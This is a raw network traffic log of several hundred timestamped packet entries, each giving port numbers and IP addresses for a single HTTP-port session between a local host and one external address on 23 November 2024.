Nov 23, 2024 13:28:17.129496098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.129551888 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.129592896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.129646063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.130454063 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.130543947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.130553961 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.130623102 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.131428957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.131496906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.131550074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.131614923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.132396936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.132455111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.132533073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.132591009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.133409023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.133464098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.133475065 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.133526087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.134377003 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.134430885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.134458065 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.134479046 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.135380983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.135482073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.135543108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.135622025 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.136341095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.136408091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.136467934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.136544943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.137625933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.137713909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.137856007 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.137931108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.138336897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.138446093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.138492107 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.138554096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.139307022 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.139364004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.139478922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.139597893 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.140285015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.140342951 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.140407085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.140480042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.141253948 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.141366005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.141375065 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.141465902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.142268896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.142321110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.142376900 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.143227100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.143296957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.143352032 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.143409967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.144216061 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.144274950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.144306898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.144388914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.145184040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.145237923 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.145251036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.145279884 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.146166086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.146266937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.146290064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.146317005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.147192955 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.147259951 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.147296906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.147356033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.148142099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.148226976 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.148283005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.148360968 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.149117947 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.149224997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.149250031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.149319887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.150110006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.150168896 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.150226116 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.150311947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.151143074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.151256084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.151278019 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.151348114 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.152097940 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.152158976 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.152216911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.152277946 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.153057098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.153114080 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.153175116 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.153232098 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.154050112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.154143095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.154156923 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.154266119 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.155039072 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.155108929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.155175924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.155244112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.156025887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.156177044 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.156218052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.156218052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.157021046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.157079935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.157149076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.157203913 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.158000946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.158078909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.158166885 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.158256054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.158970118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.159025908 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.159101009 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.159152031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.159956932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.160012960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.160016060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.160065889 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.160934925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.161004066 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.161055088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.161113024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.161916971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.161971092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.162040949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.162096977 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.162981987 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.163024902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.163104057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.163219929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.163899899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.163970947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.164094925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.164192915 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.164864063 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.164916992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.165009975 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.165059090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.165868044 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.165923119 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.165935993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.165983915 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.166829109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.166876078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.166944981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.166990995 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.167814016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.167898893 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.167941093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.167989016 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.168744087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.168788910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.318475962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.318603039 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.318679094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.318679094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.319030046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.319178104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.319200039 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.319268942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.319972992 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.320048094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.320096016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.320197105 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.320962906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.321067095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.321086884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.321156979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.321978092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.322032928 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.322036028 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.322098970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.322930098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.323003054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.323259115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.323334932 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.323935032 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.324064970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.324090958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.324140072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.324882984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.324949026 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.325031996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.325160027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.325882912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.325938940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.326019049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.326112986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.326889992 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.326965094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.327045918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.327102900 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.327847004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.327960968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.328007936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.328007936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.328849077 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.328962088 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.329005957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.329065084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.329824924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.329886913 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.329952955 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.330002069 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.330789089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.330846071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.330890894 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.330977917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.331774950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.331870079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.331964016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.332052946 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.332731962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.332803011 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.332873106 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.332932949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.333726883 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.333810091 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.333867073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.333935022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.334719896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.334783077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.334860086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.334923029 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.335700035 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.335786104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.335834026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.335973978 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.336697102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.336755991 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.336823940 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.336884975 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.337671041 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.337779045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.337805033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.337873936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.338659048 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.338778019 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.338825941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.338926077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.339662075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.339762926 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.339768887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.339833021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.340610981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.340679884 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.340760946 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.340821981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.341609955 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.341670990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.341749907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.341804981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.342586040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.342714071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.342715025 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.342781067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.343586922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.343652010 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.343733072 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.343785048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.344551086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.344630003 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.344671965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.344731092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.345597982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.345707893 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.345763922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.345830917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.346524000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.346590042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.346656084 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.346721888 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.347507954 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.347614050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.347620010 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.347676039 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.348480940 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.348587036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.348613024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.348659039 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.349507093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.349565029 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.349656105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.349711895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.350462914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.350521088 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.350590944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.350655079 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.351463079 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.351567030 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.351588011 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.351667881 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.352433920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.352488041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.352555990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.352600098 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.353411913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.353477001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.353543043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.353609085 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.354425907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.354485989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.354516029 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.354660034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.355412960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.355467081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.355582952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.355632067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.356314898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.356360912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.356419086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.356530905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.357345104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.357451916 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.357460022 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.357649088 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.358277082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.358339071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.358374119 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.358450890 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.359270096 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.359332085 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.359370947 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.359606981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.360240936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.360296965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.360363007 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.360410929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.361282110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.361342907 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.361416101 CET	80	49729	31.41.244.11	192.168.2.6
